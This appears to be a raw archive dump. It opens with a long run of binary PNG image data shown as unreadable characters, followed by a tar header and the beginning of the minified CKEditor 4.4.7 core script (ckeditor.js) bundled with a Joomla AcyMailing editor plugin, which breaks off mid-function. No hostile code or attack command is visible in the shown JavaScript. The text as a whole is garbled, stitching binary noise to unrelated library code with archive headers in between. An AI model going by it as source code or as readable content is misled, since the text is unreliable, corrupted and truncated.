Q�v��gϞ���k�0���m��F�g������Pb[�=x���ݻw�944�����g�A{�ڳ�yCCCؽ{��j�k�e��ws��P����`�
%Nu_mm�ʊ��+srr�rDY�)��[�Sf͒�].pI��xp��ѿ|��g���_%2�DŽ���>���R��RZv�����hKk+m��孭1MP��*�ttЖ�VZWWG��q�aJiH-Þ����	��c�
ѕG#������Y'm_�O[!Ɩ
&T�h�᎙3����3^/v�E--Ravvx�ؾiӿX��ऊFGA�O{�O�*e��E�$�(�s�+ǁ0����[�l��=�ω��+���V����e}}_�s,��²��X-�^��,,;�Ჾ��V74<�XeX���ɓ�<�)������޾XVm9�V�h�WPJ��H&��/�nhx������
���<�-_�4N�"U������a�����\�4˲����c��.��Q2|k�i��NجV0��,��xM�ey\e啇N�Ğ?�\�,CE�VW_YUYy��tjs���É'p��e{
*��}ٲ�'N�����+�*+/����RE��X[hQ�(��E>�G���ン_Y��Ơr�W�,�����v=zT��|1��^�b��UN��wQp��I�G�=��ŋ�,*�p��7���v�<yRu��ˎ zϦ}B��~��^sM�/BVƫ]�vյ�\���3���B��A�=����{4˲Xv�2�/B��U!�Yv�2˲#'\�N��D��� X,ᡡ��Ph*!��%@�Ʀ��6�>�/���xA@��?�6��b�����J�2�H�7�W3Kv�=�C���,���9���	�x<��W�z<YaF�RA�tmT�#���͘0a„	&����۱/d��\k�"�kyQ���y	��T��9s��'����ɔb�֭x��S=Z ���O8�~�HmMM���c<O����1mMM�3K/��9��U�@	8�i��E���q��"�O�(�tv�Y�c���a ��þm�XJ)3��[ �����(Np2Y<z�u��45
�\��Pe�����f|>~?�@�G}���LYi�Vn�ʕ+�����믻�@�z.��O��Ԕ����Q�	�q��t˚5�r��	��E�g����#��D�����]�O8ylϞR��*&uw��3gRJ�jJi��Ӄ._�t��3����^8�xŷ�݄���KO��;��^����H�K)�[����L�G�x��Jq��r;=r� �����K�����=�gxH>F�#�~
1/��E<#=�;�5���Gߡ�l&�dB���/��j�DiF4�[�љs�t:���@		{]2,P�B�Z�z;7��֣f����5��Պ7_y%��DC�e�I5��o78�Y���xFR7`��A��d�F<S�	R��`�� I[@���]�сB�V���jE�]a^�� �<^q���q�ɩ,'���'�"��o���ɬY�Ŗ�o �䕴&S�xu�5#$˟���$x���z$˟��{F�>�G0����A��8A!��nK�&�^Hl�$��jE�˅�Q"����ٳ8u�l��`T9k�?�1��3��e��RY]݈-���ꤲ�F}~	���lReU����L)�Ǣ����r�#w$T��#�o��l�9`��3f0��w���rs?����PO����\n�Zy�Ô��-����/'ND�H�ҹ�**�+�^[�]�vVG�`XNJT���
�B�
�@�#�
��[�-D�3�a^&L�0a���1L���L� �/�yv��;�_0���3�����I-�n�R��P(��3�L�935ŔR�Kz�6m�4�;15��?Zٹ@,�H��!b:!���ס
7����!"x��H�r��̹s;����|8}B^�RJ���:7��v�W0�	P����X,X����b;a�k�y��[ ӼBڣ ӼBڝ�f�WH�$��.��v'�4��~d�W0�Lgx�}DI����Hɩx�cn�h�X8�V0ԭ'[+xAH�-D�`Zg'B~?X��Q#!. ���Xcs3�����M���<�`��V�޹3f��w��Ǝts�,I�(���cQ[!Q�SE�o���4�`@a�R��a}*��/��h�y��lM^��	&L�0�Q��/��3;�Z�n;FU���}	��T��s�
���Mo�e�4.���q^�{B{K�9���	��\{K�+��u�F�|����K.)��`ˆ
6�/z�M��a8Y�&&\!`X�,���}��m�PJ��==!B)����x~
R���暒���k��&B����8���y�n�|>��������������ʴ�n�k��&���������T45k��+{��瑣8L%p�=��֭����QD�Yx��?<��|�馛�c���Gw�.��]���^:�����3{{�����|��鄠��(_ R
��s�1/&�P��)�|��ٳS��;00�T�2"!8.5�ß|�dȰ}A���; �V$ھ`!�Iq"}��0J��G���ܑ�t�'ʾ�3
Hv������p�|啴
�U�흇v��N~�:''���˓���A��l�x#+�lyT#iʾx-q]��������e幫h��|��;���˔&�OJ��KLr�:��$I	H:��A'��,��z"2�>�oFn�' �l6��p~�?��^<��p{�y@���u^�hhi�����{Ϟ���܉l�;"%��
���,�[Z��W����[�?&	�g_W�=PeU<~?���C���zeUA�(0�6��� �z�a�<_(�w�m{������^/�M�x?CH/�dv:�V�rsq��#.ĵ/8q�4?�-�ׇ+�vo��<~'N��Ob_�H��Gg"����z���v��"Jkk�҆}~���lBeU����Ji"�Y�`�}���:��<�Ӊ1,38���{��g�Xrs߯��1PU[K-���k�l��|���]˖�̩S�ԳB�6e�6KE�TW��7�`:L�&L�0a„�41"��$|���/�9w�4c���Wv@Q�I�b�b�[o]X��	MM���e�nwض��v3>����I���Ӧ�lް!l_0k�4��0���Ry����RfFO�J���wӳ/hnlz����%%���0��/fJKJ����:��ؘ�}ACÉ	��%��b��[�N��GsB)� I�5+ƾ�n����<�wob��ɽ�tFO��f���8��/��c}���W�x��$����'*��S��"e����)�l_����(�f_���@(�>���}A�GP���IX��������΃*��v'������Fd_��Ԛ,^�D\��Ft�<����N�g�WH�‚F��e�	fN�����.?�y ^A�)�
#z	x�:^aE*��a'L׾@�V�
+��
�3�,î�OI^�A�hm]�
�#@qQ$�X��^��y��x�i�
�׿�:a�D�:�``_P��q<�Z\,��ׇ;](������R��1���oj��*+
�J�����٥��R�"0�8�{w��̮�����1���$���/��XX$�/`]�+kjF�+T��Pv̘��|��G�ڗ��+��W����+�W��&�`„	&L�0a"�x{�5�
�9B,�r�'-�����VVZ5m�0`9,�D�P
I�
��S(/��PH~��
�䤶Ѷ�B
���:���N��	�e��yy-ZtG
@E�=s�%|%D���SJ�B�N�(����?���O?�(�� �2�^/
ǎ]��_��Ϡl�BHB�F-P &�����͛7O�$����6(�?Y�B��0{fw�Y�a�Q�xA�����1c#!�d�,@̩���(=*�� ��N�GZ9���!��҈x�@�.\�`�"M)�@yM�Q]i�׋��G	!��d@������޽&��s��\�TX��Ύ�wQ����ђ.���˵PI.�25��M��:H9p���66��;���p{<��u�@�G�UZ\���e<σ��޺\J�pxI��1w��A	�0��x��Z�w{�X����Le�M��@ICm�D�J)Q�������Q���!Ay�P�~)0ϕ��y�Ž�/(؋��g����q��:�"�n_�[T�
�
�	�q>|^�r:���� n��tB�E��\SUue�I�il\%D�5+kͼ����S�r ��$7Ʃ±c���|)//O�q�$�_���Rj��O<�����`�T�Ԥh�9��9f̞�H�gϖ�kkwQJ�R9(����r�l�v:�4�‹/nhni.��2iBG��������ٳgK���{(��(�RJ�-W�K)=
�K�B��������K[��?�czQQ�����>��
�,BȠ�O�,^G$۝O�
>�t�^�	!p���^[�� $IB(Bk[�qg��WD�������f�(5�0d��E�+B�N�>���yȪ��͛7wB~��@�F.Rݠ��;Q���oM�:�F9r��M7����/�VVV,{ב�����)g���XV_2eJ
��>;z��Y'�>�e�?��s����!��>,X��z�hWUu���]���;F)=B)�C)}�RJ�/_����V�4I�
Vkf�pRJ��}%''�3��=)�굻(��ZWUS���Vn„	&L�0�w���t?�����;:�q��3�a�1
��99
���G%�5MM+���+/��ݚ�9�y�^
����	�@uCÊ��:�ꫮ�*O�k�/tE�KT76J/��>��S�[�]�0c�\ڽpar��ʫ��W�WU1_���t�b�����:X65w@ѕ���[QW]��p㍸}ɒ�U���x�U.͛?�>��#jv=�͛G�͛��΢"i�…�׿��+�ιsi�ܹ1�}&L`ϝ×n�
a����~�N(���<Q�����Qb�¨���f�<UXSs��[VY�=~�L*ˆ����3v�۷�3��5�ׇlokC�̙KY��1�iO-q�%�(C.c���;{������|a�
�P�_Q������u��%��q�PJ��<J�YYk.�3�{la!�=�����.n]��F��'b���}�ݾ:5�0�BH8�:[v��s活\.x~���^`�.˟�X�v�/@^n..�;w����`<8����!pee�����
�έr8E��}�k0���g>ݹ�  ++���i�Ͷ���q�3a�G�2���_�xu�Y,wC�x�1��(��y"�2,��
љ��(�[Ym����W�|�kn�_�$	mm
�ӹ�G~��}uKSS�,���o�q#��'���@��Hk��׬^}����X,����N�eU_OOC�y<��W���%���z�IDAT
�5�,C�v�N�֮^=���=Ȱ,j;:��KU���ł�n���ޚ�M}V9݉H��x��lZ��g`p����9���>�i͚Y�	ˋ��Yvo۲e�k������s��80�!�����`sv���?K��܁=��K��jH)M�L�~S�r@u#��L�n��<C�-Cz&�#6Ű!#�6���*+~ge�|��Bӌ�ru)f�~��(,iuA�OI��$ږ__�&L�0a„	&R�Hy�ClI�'���k����X��B`�Z��ra��+�+�N��8
�P�9�v��U�R.��g�A��,�+�ޝ�1��A1~OyW|ۭ��A���K����MY�h�D9�?&U(�w-]��� /��BVܳ'%!����lB~B)��ŋLe��*�+�ۗT��y�ф�}���<���L���
��h�a!�,�1��s�1�
�xz�t���oK,\H�EEq߰c�r�ߩ@հ�K�݆�s�0a„�
������'Є�EB�����Q���J��55����ʛ���U~B�ք7d�)���:�M�<�j6+��+*��zԗ�/ڼys>�H>��	�&t'�$�H����l��uw_=���P(?���
���c���W2v�*>�e�6%ex�B�n_3o����B�}>y�u�E�7n�b���-,ĥs�t[���@�/OW�ƤP1��tn�t���y���xc��%�4lڲ��W�����‚9s�m�ٛ����D:���A)��
��m�9s��� >ݹ��z�1(����5Q�p8�`�ܪ���
ƻ���!��A�ennX,���O@�EP�(��,��5�@���5�~�2'u$	�@@���}�7޸��,�������W(�e���umm
�$��˯���׎��m8�v�7Ȫ!C���۫V}���gA_OO�ne]_OO��b���\�z���[���bm'��ң��ޚ���,T���kj;:���Y�{p����A��EQL��>�8<��Mk��>i�d9����֬遁�Y������M�z�jj�v'O�����_�(�)�7"�tTn�rq����3�	S�	��@��k<� ��'��-�H<��X�.OW���h�h1�L�0a„	&L�A�v�#���Fu^y��~@�Л��� ˲B�I��a���{D�!s�����Å=)%yч�d:N3����a��c�L�cF���ahh~�?F���,�N'\.��vg$]nn.�������sCCX��	;BwO7l�H��s�06�M����G��
�ЀI���EQG	�X��D&vuQK7m�,J	Qގ.�����$�tj��$ːRP	�J㤚NR��qH��[E�z���j��4��)h��JGT�JaK�8xsI:�zܟc�2$��q8��I�m��!D�	�@��N�_��#2�Ӊ��?S�@���8}�>ں5��hmk|�F�m�I�'���D���P�@J3aessJ3\��;:(p�+̄��@��$C�gB�^�x�1B�gB��U�2dz&���dY�-����bQ
���$����;jF�Y|(2����VUr�Xʂ�(_iF�1�B@(�%>B$z10`�}����^ېe��� !$�G�	&L�0a„	&ҁJ,�
�|���9j�+mߴ(,-]w˗�TU[S3���IU���iӺ:&L�?D@;�z�ٞ�󳫮�•���P(��pM�p�Yu}�ͳ{{A	�h�X���,��9s��++!
BD���<�kj�H��3�������1�
�!����²WY����a��!@?'k���dDk�X����]-MME1!�Ų,8�,˂�2�>�>N
`�޽r���o$D/�͌�����w����&2� �����'�/:F���1lܼ�+�|����M�O�4q�N�æݵVy��>���?J�Y����AsS��^9<8�)Z�h���k��Ǝm3fl6�I�>�)�ZB�˲,�O��e���݃�G_�~&�T|�KCc���~��v��p?���`0���abhhn�>�~�_�+<�C�yLjoGie��Y_Q��RZ�Y]������ݝ[UUU�r�`U=*iT�$IĽ����-[�ݻva``�:<<�$�4dggsYYY���X,�,Ȕ╗_��8����
��m���J�����p8��,
�ȑ#صk��z2�����?�X,m���Lvv6lv;>;|��t۶b��g��R[��'���+V����g����8�<���8�o�mj���+����4yt���g����

`����ʕ�x>^�z!\�������'L� ���H=�fIUJ��x�QJ_��
�R����7TWW��uuIꍥJ�͔�aJ�t�-��7n��>q�T�Аt?@)������ҳ����KK=`�
i	�TE)�D)�����ns:�SސPJ�J)
��j�f{�@-���;x�R��..��X��L)��yッ'O���.���O�:��rJ�Q	�䢔�י���0a„	&L�0a„	:<
E��ׁ�|E+�6FmWR[S�[�����uP<s�U��X�_s
3c���j]��	Y����B��ގ���˞����H�D��
�
������o��U]_�4R�# ���P`���
V��AH��9�fa��7�e?B�����
(^Xf�Ì���g���0����E+T՚[,B!��v�|�ĉ���p�T��-'�������YY���a%�ʤA���8;w�����ߑ���JE��c��z�{ƌ�q��f\����7��[�Zc��9��z�[�/���9�������K. �T�(��D�ڰ���׌�rmS��N�I�������:>!
axx�O��d���t�9�()��|tR{;O��s��$	,���p�U�ѕ���ߏS�N�S�N]�y��^~�:b��N�8�%�<DA� ��|�z�"�t�1c�EEE|Ss3fL��=�裝���a5��:<���v�СCG7l�8T_W7���[!��
�b�Z'N<U[Yi
��z�8s�,�'w�y���{�iA��+hnn�Ǎ��&2�B�ٱ}{;���7BH�0Է���%%V�ۍ�g��ܹs;���hA�yk�Pp'�p2(�O�c"{<;v��>��K�������⟝��%UWW���|��#T��"J��Z��$�̚%���H&L�����S%�(U���
�����svpp��y5Uc�&ByC��>q�T1n�p�m��Q5��� ,q2�yuժ͔���f�J6������oRɯ�p��N)�PJ'��/��x��O��>@u���������*w0�-�������h&L�0a„	&L�0a���L���L������L�&_�L���L���	&L�0a„	&�?����Gd�#2����LD�?"�����Gt��K���Gd„	&L�0a���F/�7X`2�Sp���6��b"�_W�hJG����0LJQ��%	�O��[����p���Μ=�7����:9��	P�,˂�8���Gز~��P[⼞�n����Y9��;G
M/�W�����'��V��ֆ-�7�!R�����@���NL�$)6�����m���J(�$I�����e���!@Iqq�(��D��Ί9zth���u8���K.�VS]�nw8�r�RH����е_��# D�
&��'I�~?���v�?��r�}�+�/��,K€��$��Sr�����e��	����5krL#������φ���\��0�U�g;�Za�{�F4
a���fc������Myy�6 �<k�2���.,��Od�E��]�"�����_|1��vCń�^}J��6�bZk��ӧ���j/!dotB��R�e��9&?/�]�Fe����$	�n|�U�� ��b�ԩ���V}���{��=:�#\�,CV����6��%��BP�b�o��f.�?�d���Ph�ܩS��V�A)���rrr��)�@"u|0�$��!D�e���&L����1�u�:~S]S�C���\�G�;E�5?���O��]��KJ��XN��1cv��h�����G׹��M��+׸��a(�2BJ0�Y]]�	!��^XPP600�S�N����.p�d���N��a�{G0�d]Z�|�H)z>�$I�z���_8��{PJ?y����|g�F�{{���Ɲ��o������a��`х1����8�p��3���X�i�R�`(�Ç�v��	��h>��
3��$B�6]Ekj����jksGx��E��O�{���>�N��$��"���+:�;!�>�����K/�>�Tcs��Ã���ART�@�%�(-`��B�8y����6��.$��Q�.����W�$�f�Ù��3s�� �RjJ��'�����^q��)~�֭�-�uBhC/����M��{u���r-�3{6���Qu��_� \(��R��0�`���8e��hj��(��|���<	�q]�VMhi�y� ��*4r����ZDږ��<�|aT��	�ND���u���QW࢒�c#�d�ʊ
'��ϗ��7}�(IC�&��#�_�e'��f�z�JK�<���on��Q�%�28�C�q�O92W�ݕ��oki��e� xc ��P(�fQW1��Z4��|A�� ꪖ;fLx�j�jʒ���������S(s�,˰�l�
��qܡ�G���3gΜ��� �8���C~n.�ƌ�}A����  ��������CAAA�e�|8}�4��Aݍ����ƖN�����j��]��!�nX�M
•����[	!WE��o~�ӟ�����-�|��juƭ-
H��g9n��?�cٲ.�B�����/$�H(-U�uT���<j��f�EM�0a„	&L��p����F��$U?$1��孹���zA)B��ԯ~u
45^��+������EH���,����e�4R�U�A}O"ϣw���_h���M[$
�R�NIQSY���-�M�.IW���J��ں4��"e���p,cY�  �������EQ�$��:iR����+/�S��O�*
B�����|���sCC�~?xAPNc;�)w�tXVV\I�yȔ�ҭ���>DA�,���ݽ)��JG��i�n�:%�u7�4D������ �q�@��15748%�Qp��N���,ǽGQtΒ�ƶ�ŰZ�vƔ�)*ZF)�(��X,^BH��!N�t1��$A���\���d�:\z�O�ڢ�tmVkvoo�
�aJ�t*�J�I6�
\v�2��})Q���!�
��=m��h�X!+++�'�$tN�2��H�
']rɵ�:�j궐JF����j�"++K�{JQQV(��ۣ`i]u�UV�|hhK�,AŸq/�a��eY�dg���7�J���	À�e�45->p���M��
P�а���ZN���_�t)��K�t:?�,˂!���Ev�Q''��Կ����JT���c�YgB�D�˷�-z��p?�Z,`���WAbX�NB~?�~?�
c�e[
xc!����K�N�v��~�A�At����3ʓ�T�-.�������
!$�CS[Z~�Ph�U���p�ر.����)��?�/e�Ξ=����Ym�U56Sp�����U��ͦ��Z���;��ܷ/IV(�_��U����>k����k�{�~[>z����_�����p$<E����Q���I,F4����IXQ!�EjY��R<&L�0a„	&L�}�h_<j?Iq�8�7ߌ������L�E��+��]��1�x�n�����(P�$��v�\���c����[�D)�!�w#/���I�>v_������_tz.�eyyd?wV�L,�?��jo`0�����Qp���(��;U틆ԓ�z����7
ڻ�P��+�e�𢈣����N��7F�` ����`J���1�Ξ��Q R�s�`�5s|�FAUk+��j�dtC���9�C�~�X�P(�@0YL��^B�T�'�7i�I��5e�@�"V9s�0a„	&L�0a�D*�*��aF�����3<'��p\ʯ���8r�0<#x[�(�ۀHK�����;���v��c�z�����l�ẅ���=���G�
b���F$����ò����3! P}��]�#��������F�1�k{DY�{���p9�X13�蛉n+.r����|BΎ�JiATyC�����"���S�`|I	lK�}�R�� ���ɘ
��t*�EQ�W�´���
<-�>�ٳʨH���i	@)����$@ҵ Yؑ��`��|�ւ�v�;V��J��%� ���iܱ#"M��>��°f~����)��R�"_���$�5G!�Z���B
���$�i��P�>΄	&L�0a„	�d��xD�r��/H�HY�t���R ]��Ty�x��i��Sr���/0%��/����j#� �#�/Py�h$�	�
�	����Rf�p�Δ�%ӣ �N�Q�����3رeKJy2n_��"�	:]RFc_�O�ႍ�T׆��Q���L�h<�~]��dԾ@@����}�	&L�0a„	&L\d�ƾ=#�ˆO�e�W���F,���
)�#J����oljZ��q��fg`� "fm�O"eD|^o�� ^�tlR�G���#���U>� eD�L�7�\��h\!噰}�tT��GH�Q<C���錂h\(!�.�����.T8�P�#}
i�#
���{�Jo��G�Q����(0a„	&L�0�~t��2�7IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/ckeditor.js000060400001601534152455305310024236 0ustar00(function(){if(window.CKEDITOR&&window.CKEDITOR.dom)return;window.CKEDITOR||(window.CKEDITOR=function(){var a=/(^|.*[\\\/])ckeditor\.js(?:\?.*|;.*)?$/i,f={timestamp:"F0RD",version:"4.4.7",revision:"3a35b3d",rnd:Math.floor(900*Math.random())+100,_:{pending:[],basePathSrcPattern:a},status:"unloaded",basePath:function(){var e=window.CKEDITOR_BASEPATH||"";if(!e)for(var d=document.getElementsByTagName("script"),c=0;c<d.length;c++){var b=d[c].src.match(a);if(b){e=b[1];break}}-1==e.indexOf(":/")&&"//"!=e.slice(0,2)&&(e=0===e.indexOf("/")?location.href.match(/^.*?:\/\/[^\/]*/)[0]+
e:location.href.match(/^[^\?]*\/(?:)/)[0]+e);if(!e)throw'The CKEditor installation path could not be automatically detected. Please set the global variable "CKEDITOR_BASEPATH" before creating editor instances.';return e}(),getUrl:function(a){-1==a.indexOf(":/")&&0!==a.indexOf("/")&&(a=this.basePath+a);this.timestamp&&("/"!=a.charAt(a.length-1)&&!/[&?]t=/.test(a))&&(a+=(0<=a.indexOf("?")?"&":"?")+"t="+this.timestamp);return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener("DOMContentLoaded",
a,!1),d()):document.attachEvent&&"complete"===document.readyState&&(document.detachEvent("onreadystatechange",a),d())}catch(c){}}function d(){for(var a;a=c.shift();)a()}var c=[];return function(d){function b(){try{document.documentElement.doScroll("left")}catch(m){setTimeout(b,1);return}a()}c.push(d);"complete"===document.readyState&&setTimeout(a,1);if(1==c.length)if(document.addEventListener)document.addEventListener("DOMContentLoaded",a,!1),window.addEventListener("load",a,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",
a);window.attachEvent("onload",a);d=!1;try{d=!window.frameElement}catch(f){}document.documentElement.doScroll&&d&&b()}}}()},b=window.CKEDITOR_GETURL;if(b){var c=f.getUrl;f.getUrl=function(a){return b.call(f,a)||c.call(f,a)}}return f}());
CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(a){var f=CKEDITOR.event.prototype,b;for(b in f)a[b]==null&&(a[b]=f[b])},CKEDITOR.event.prototype=function(){function a(a){var e=f(this);return e[a]||(e[a]=new b(a))}var f=function(a){a=a.getPrivate&&a.getPrivate()||a._||(a._={});return a.events||(a.events={})},b=function(a){this.name=a;this.listeners=[]};b.prototype={getListenerIndex:function(a){for(var e=0,d=this.listeners;e<d.length;e++)if(d[e].fn==a)return e;return-1}};
return{define:function(b,e){var d=a.call(this,b);CKEDITOR.tools.extend(d,e,true)},on:function(b,e,d,f,k){function j(a,m,y,s){a={name:b,sender:this,editor:a,data:m,listenerData:f,stop:y,cancel:s,removeListener:g};return e.call(d,a)===false?false:a.data}function g(){y.removeListener(b,e)}var m=a.call(this,b);if(m.getListenerIndex(e)<0){m=m.listeners;d||(d=this);isNaN(k)&&(k=10);var y=this;j.fn=e;j.priority=k;for(var s=m.length-1;s>=0;s--)if(m[s].priority<=k){m.splice(s+1,0,j);return{removeListener:g}}m.unshift(j)}return{removeListener:g}},
once:function(){var a=Array.prototype.slice.call(arguments),e=a[1];a[1]=function(a){a.removeListener();return e.apply(this,arguments)};return this.on.apply(this,a)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,e=function(){a=1},d=0,b=function(){d=1};return function(k,j,g){var m=f(this)[k],k=a,y=d;a=d=0;if(m){var s=m.listeners;if(s.length)for(var s=s.slice(0),w,q=0;q<s.length;q++){if(m.errorProof)try{w=
s[q].call(this,g,j,e,b)}catch(t){}else w=s[q].call(this,g,j,e,b);w===false?d=1:typeof w!="undefined"&&(j=w);if(a||d)break}}j=d?false:typeof j=="undefined"?true:j;a=k;d=y;return j}}(),fireOnce:function(a,e,d){e=this.fire(a,e,d);delete f(this)[a];return e},removeListener:function(a,e){var d=f(this)[a];if(d){var b=d.getListenerIndex(e);b>=0&&d.listeners.splice(b,1)}},removeAllListeners:function(){var a=f(this),e;for(e in a)delete a[e]},hasListeners:function(a){return(a=f(this)[a])&&a.listeners.length>
0}}}());CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=function(a,f){a in{instanceReady:1,loaded:1}&&(this[a]=true);return CKEDITOR.event.prototype.fire.call(this,a,f,this)},CKEDITOR.editor.prototype.fireOnce=function(a,f){a in{instanceReady:1,loaded:1}&&(this[a]=true);return CKEDITOR.event.prototype.fireOnce.call(this,a,f,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype));
CKEDITOR.env||(CKEDITOR.env=function(){var a=navigator.userAgent.toLowerCase(),f={ie:a.indexOf("trident/")>-1,webkit:a.indexOf(" applewebkit/")>-1,air:a.indexOf(" adobeair/")>-1,mac:a.indexOf("macintosh")>-1,quirks:document.compatMode=="BackCompat"&&(!document.documentMode||document.documentMode<10),mobile:a.indexOf("mobile")>-1,iOS:/(ipad|iphone|ipod)/.test(a),isCustomDomain:function(){if(!this.ie)return false;var a=document.domain,d=window.location.hostname;return a!=d&&a!="["+d+"]"},secure:location.protocol==
"https:"};f.gecko=navigator.product=="Gecko"&&!f.webkit&&!f.ie;if(f.webkit)a.indexOf("chrome")>-1?f.chrome=true:f.safari=true;var b=0;if(f.ie){b=f.quirks||!document.documentMode?parseFloat(a.match(/msie (\d+)/)[1]):document.documentMode;f.ie9Compat=b==9;f.ie8Compat=b==8;f.ie7Compat=b==7;f.ie6Compat=b<7||f.quirks}if(f.gecko){var c=a.match(/rv:([\d\.]+)/);if(c){c=c[1].split(".");b=c[0]*1E4+(c[1]||0)*100+(c[2]||0)*1}}f.air&&(b=parseFloat(a.match(/ adobeair\/(\d+)/)[1]));f.webkit&&(b=parseFloat(a.match(/ applewebkit\/(\d+)/)[1]));
f.version=b;f.isCompatible=f.iOS&&b>=534||!f.mobile&&(f.ie&&b>6||f.gecko&&b>=2E4||f.air&&b>=1||f.webkit&&b>=522||false);f.hidpi=window.devicePixelRatio>=2;f.needsBrFiller=f.gecko||f.webkit||f.ie&&b>10;f.needsNbspFiller=f.ie&&b<11;f.cssClass="cke_browser_"+(f.ie?"ie":f.gecko?"gecko":f.webkit?"webkit":"unknown");if(f.quirks)f.cssClass=f.cssClass+" cke_browser_quirks";if(f.ie)f.cssClass=f.cssClass+(" cke_browser_ie"+(f.quirks?"6 cke_browser_iequirks":f.version));if(f.air)f.cssClass=f.cssClass+" cke_browser_air";
if(f.iOS)f.cssClass=f.cssClass+" cke_browser_ios";if(f.hidpi)f.cssClass=f.cssClass+" cke_hidpi";return f}());
"unloaded"==CKEDITOR.status&&function(){CKEDITOR.event.implementOn(CKEDITOR);CKEDITOR.loadFullCore=function(){if(CKEDITOR.status!="basic_ready")CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var a=document.createElement("script");a.type="text/javascript";a.src=CKEDITOR.basePath+"ckeditor.js";document.getElementsByTagName("head")[0].appendChild(a)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(a){(this._.pending||(this._.pending=[])).push(a)};(function(){CKEDITOR.domReady(function(){var a=
CKEDITOR.loadFullCore,f=CKEDITOR.loadFullCoreTimeout;if(a){CKEDITOR.status="basic_ready";a&&a._load?a():f&&setTimeout(function(){CKEDITOR.loadFullCore&&CKEDITOR.loadFullCore()},f*1E3)}})})();CKEDITOR.status="basic_loaded"}();CKEDITOR.dom={};
(function(){var a=[],f=CKEDITOR.env.gecko?"-moz-":CKEDITOR.env.webkit?"-webkit-":CKEDITOR.env.ie?"-ms-":"",b=/&/g,c=/>/g,e=/</g,d=/"/g,h=/&amp;/g,k=/&gt;/g,j=/&lt;/g,g=/&quot;/g;CKEDITOR.on("reset",function(){a=[]});CKEDITOR.tools={arrayCompare:function(a,e){if(!a&&!e)return true;if(!a||!e||a.length!=e.length)return false;for(var d=0;d<a.length;d++)if(a[d]!=e[d])return false;return true},clone:function(a){var e;if(a&&a instanceof Array){e=[];for(var d=0;d<a.length;d++)e[d]=CKEDITOR.tools.clone(a[d]);
return e}if(a===null||typeof a!="object"||a instanceof String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp||a.nodeType||a.window===a)return a;e=new a.constructor;for(d in a)e[d]=CKEDITOR.tools.clone(a[d]);return e},capitalize:function(a,e){return a.charAt(0).toUpperCase()+(e?a.slice(1):a.slice(1).toLowerCase())},extend:function(a){var e=arguments.length,d,b;if(typeof(d=arguments[e-1])=="boolean")e--;else if(typeof(d=arguments[e-2])=="boolean"){b=arguments[e-1];
e=e-2}for(var c=1;c<e;c++){var f=arguments[c],i;for(i in f)if(d===true||a[i]==null)if(!b||i in b)a[i]=f[i]}return a},prototypedCopy:function(a){var e=function(){};e.prototype=a;return new e},copy:function(a){var e={},d;for(d in a)e[d]=a[d];return e},isArray:function(a){return Object.prototype.toString.call(a)=="[object Array]"},isEmpty:function(a){for(var e in a)if(a.hasOwnProperty(e))return false;return true},cssVendorPrefix:function(a,e,d){if(d)return f+a+":"+e+";"+a+":"+e;d={};d[a]=e;d[f+a]=e;
return d},cssStyleToDomStyle:function(){var a=document.createElement("div").style,e=typeof a.cssFloat!="undefined"?"cssFloat":typeof a.styleFloat!="undefined"?"styleFloat":"float";return function(a){return a=="float"?e:a.replace(/-./g,function(a){return a.substr(1).toUpperCase()})}}(),buildStyleHtml:function(a){for(var a=[].concat(a),e,d=[],b=0;b<a.length;b++)if(e=a[b])/@import|[{}]/.test(e)?d.push("<style>"+e+"</style>"):d.push('<link type="text/css" rel=stylesheet href="'+e+'">');return d.join("")},
htmlEncode:function(a){return(""+a).replace(b,"&amp;").replace(c,"&gt;").replace(e,"&lt;")},htmlDecode:function(a){return a.replace(h,"&").replace(k,">").replace(j,"<")},htmlEncodeAttr:function(a){return a.replace(d,"&quot;").replace(e,"&lt;").replace(c,"&gt;")},htmlDecodeAttr:function(a){return a.replace(g,'"').replace(j,"<").replace(k,">")},getNextNumber:function(){var a=0;return function(){return++a}}(),getNextId:function(){return"cke_"+this.getNextNumber()},override:function(a,e){var d=e(a);d.prototype=
a.prototype;return d},setTimeout:function(a,e,d,b,c){c||(c=window);d||(d=c);return c.setTimeout(function(){b?a.apply(d,[].concat(b)):a.apply(d)},e||0)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(e){return e.replace(a,"")}}(),ltrim:function(){var a=/^[ \t\n\r]+/g;return function(e){return e.replace(a,"")}}(),rtrim:function(){var a=/[ \t\n\r]+$/g;return function(e){return e.replace(a,"")}}(),indexOf:function(a,e){if(typeof e=="function")for(var d=0,b=a.length;d<b;d++){if(e(a[d]))return d}else{if(a.indexOf)return a.indexOf(e);
d=0;for(b=a.length;d<b;d++)if(a[d]===e)return d}return-1},search:function(a,e){var d=CKEDITOR.tools.indexOf(a,e);return d>=0?a[d]:null},bind:function(a,e){return function(){return a.apply(e,arguments)}},createClass:function(a){var e=a.$,d=a.base,b=a.privates||a._,c=a.proto,a=a.statics;!e&&(e=function(){d&&this.base.apply(this,arguments)});if(b)var f=e,e=function(){var a=this._||(this._={}),e;for(e in b){var d=b[e];a[e]=typeof d=="function"?CKEDITOR.tools.bind(d,this):d}f.apply(this,arguments)};if(d){e.prototype=
this.prototypedCopy(d.prototype);e.prototype.constructor=e;e.base=d;e.baseProto=d.prototype;e.prototype.base=function(){this.base=d.prototype.base;d.apply(this,arguments);this.base=arguments.callee}}c&&this.extend(e.prototype,c,true);a&&this.extend(e,a,true);return e},addFunction:function(e,d){return a.push(function(){return e.apply(d||this,arguments)})-1},removeFunction:function(e){a[e]=null},callFunction:function(e){var d=a[e];return d&&d.apply(window,Array.prototype.slice.call(arguments,1))},cssLength:function(){var a=
